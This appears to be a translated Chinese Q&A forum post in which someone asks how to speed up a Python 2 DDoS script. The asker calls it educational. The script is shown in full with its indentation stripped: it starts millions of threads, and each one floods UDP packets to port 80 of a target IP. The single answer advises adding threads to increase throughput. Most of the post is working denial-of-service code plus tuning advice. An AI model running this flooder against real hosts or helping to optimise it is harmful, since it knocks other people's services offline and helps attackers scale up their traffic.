我正在尝试创建一个DDos脚本(用于教育用途),但是目前它太慢了,只使用了大约0.8Mb的上传速度(大约20Mb)。
更新3
我已经删除了服务器连接代码,试图让它运行得足够快,最终足够快,以最大化我的上传速度(约20Mbit / s)。现在我只想找到一种在主代码运行的每300次运行连接代码的方法。
import time, socket, os, sys, string, urllib2, threading
print_lock = threading.Lock()
def attack():
port = 80
host = 'target ip address'
message="#I am the bestest in the world. "
ip = socket.gethostbyname( host )
ddos = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
ddos.connect((host, port))
for i in xrange(10000000):
try:
ddos.sendto( message, (ip, port))
except socket.error, msg:
print("|[Connection Failed] |")
ddos.close()
def main():
print "DOS app started"
for i in range(10000000):
t = threading.Thread(target=attack)
t.daemon = True
t.start()
t.join()
if __name__ == "__main__":
main()
P.S:我正在调查Cython
,但不确定其功能。
答案 0 :(得分:2)
使用线程,因为您可以创建更多的吞吐量。此外,您正在检查主机是否经常启动。相反,您可以考虑检查主机是否在您尝试访问它时每次尝试x次。